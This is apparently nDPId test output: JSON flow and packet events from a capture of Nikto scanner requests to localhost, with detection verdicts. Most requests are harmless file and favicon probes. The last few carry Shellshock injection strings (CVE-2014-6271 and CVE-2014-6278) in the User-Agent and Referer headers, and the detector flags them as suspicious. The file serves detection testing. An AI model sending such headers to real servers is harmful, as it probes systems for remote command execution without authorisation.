+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":428,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":428,"flow_packet_id":1,"flow_first_seen":1576420277347,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50400,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":428,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":347952,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/ZRVAAEAG1yF\/AAABfwAAAcTgH5Bb9F2rFITQsoAYAED+swAAAQEICp1m\/YudZv2LR0VUIC8xMjcud2FyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":428,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":428,"flow_packet_id":1,"flow_first_seen":1576420277347,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50400,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":429,"flow_packet_id":1,"flow_first_seen":1576420277349,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50402,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":429,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":349135,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCefJAAEAGwkF\/AAABfwAAAcTiH5DNN0FKl3iI04AYAED+tgAAAQEICp1m\/Y2dZv2MR0VUIC8xMjcwMDEudGFyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":429,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":429,"flow_packet_id":1,"flow_first_seen":1576420277349,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50402,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":430,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":430,"flow_packet_id":1,"flow_first_seen":1576420277350,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50404,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":430,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":350664,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCI4FAAEAGGLN\/AAABfwAAAcTkH5CTwxvH1PwL8oAYAED+tgAAAQEICp1m\/Y6dZv2OR0VUIC8xMjcwMDEudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":430,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":430,"flow_packet_id":1,"flow_first_seen":1576420277350,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50404,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":431,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":431,"flow_packet_id":1,"flow_first_seen":1576420277352,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50406,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":431,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":431,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":352372,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBrJpAAEAGj5p\/AAABfwAAAcTmH5B1JpQjd4rcfoAYAED+tQAAAQEICp1m\/ZCdZv2QR0VUIC9mYXZpY29uLmljbyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmZhdmljb24pDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":431,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":431,"flow_packet_id":1,"flow_first_seen":1576420277352,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50406,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicon.ico","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":432,"flow_packet_id":1,"flow_first_seen":1576420277354,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50408,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":432,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":354296,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKIPlAAEAGGzN\/AAABfwAAAcToH5DzJBhOnEiKeoAYAED+vgAAAQEICp1m\/ZKdZv2SR0VUIC9mYXZpY29ucy9mYXZpY29uLmljbyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6ZmF2aWNvbikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":432,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":432,"flow_packet_id":1,"flow_first_seen":1576420277354,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50408,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicons\/favicon.ico","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":433,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":433,"flow_packet_id":1,"flow_first_seen":1576420277355,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50410,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":433,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":355768,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBHndAAEAGHb5\/AAABfwAAAcTqH5Ag4SbPDIJk5IAYAED+tQAAAQEICp1m\/ZOdZv2TR0VUIC9mYXZpY29uLmdpZiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmZhdmljb24pDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":433,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":433,"flow_packet_id":1,"flow_first_seen":1576420277355,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50410,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicon.gif","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":434,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":434,"flow_packet_id":1,"flow_first_seen":1576420277357,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50412,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":434,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":357108,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADKgAdAAEAGvCR\/AAABfwAAAcTsH5DBK7i\/eaGnm4AYAED+vgAAAQEICp1m\/ZWdZv2UR0VUIC9mYXZpY29ucy9mYXZpY29uLmdpZiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmZhdmljb24pDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":434,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":434,"flow_packet_id":1,"flow_first_seen":1576420277357,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50412,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicons\/favicon.gif","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":435,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":435,"flow_packet_id":1,"flow_first_seen":1576420277358,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50414,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":435,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":358502,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADByl9AAEAGcdV\/AAABfwAAAcTuH5C2YPLn77QmvYAYAED+tQAAAQEICp1m\/ZadZv2WR0VUIC9mYXZpY29uLnBuZyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmZhdmljb24pDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":435,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":435,"flow_packet_id":1,"flow_first_seen":1576420277358,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50414,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicon.png","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":436,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":436,"flow_packet_id":1,"flow_first_seen":1576420277359,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50416,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":436,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":359853,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAAAAAAAAAAAAAAACABFAADK7Z9AAEAGTox\/AAABfwAAAcTwH5DcrNUiTS0awIAYAED+vgAAAQEICp1m\/ZedZv2XR0VUIC9mYXZpY29ucy9mYXZpY29uLnBuZyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6ZmF2aWNvbikNCg0K"} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":436,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":436,"flow_packet_id":1,"flow_first_seen":1576420277359,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50416,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/favicons\/favicon.png","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":437,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":437,"flow_packet_id":1,"flow_first_seen":1576420277361,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50418,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00612{"flow_id":437,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":361200,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"AAAAAAAAAAAAAAAACABFAAC2klBAAEAGqe9\/AAABfwAAAcTyH5D2pKrzJKNAbIAYAED+qgAAAQEICp1m\/ZmdZv2ZR0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmZhdmljb24pDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":437,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":437,"flow_packet_id":1,"flow_first_seen":1576420277361,"flow_last_seen":0,"flow_tot_l4_data_len":162,"flow_min_l4_data_len":162,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":162,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50418,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:favicon)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":438,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":438,"flow_packet_id":1,"flow_first_seen":1576420277375,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50438,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00712{"flow_id":438,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":375874,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"AAAAAAAAAAAAAAAACABFAAEBYRtAAEAG2tl\/AAABfwAAAcUGH5Bwr1nakn6kY4AYAED+9QAAAQEICp1m\/aedZv2nR0VUIC8gSFRUUC8xLjENClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":438,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":438,"flow_packet_id":1,"flow_first_seen":1576420277375,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50438,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":439,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":439,"flow_packet_id":1,"flow_first_seen":1576420277378,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50440,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00712{"flow_id":439,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":378907,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"AAAAAAAAAAAAAAAACABFAAEBjFVAAEAGr59\/AAABfwAAAcUIH5BgqrSU8g64oYAYAED+9QAAAQEICp1m\/aqdZv2qR0VUIC8gSFRUUC8xLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQoNCg=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":439,"flow_packet_id":1,"flow_first_seen":1576420277378,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50440,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":440,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":440,"flow_packet_id":1,"flow_first_seen":1576420277381,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50442,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":440,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":381164,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"AAAAAAAAAAAAAAAACABFAAEKrtxAAEAGjQ9\/AAABfwAAAcUKH5Ddg5Yc5mMQaoAYAED+\/gAAAQEICp1m\/a2dZv2sR0VUIC9hZG1pbi5jZ2kgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} 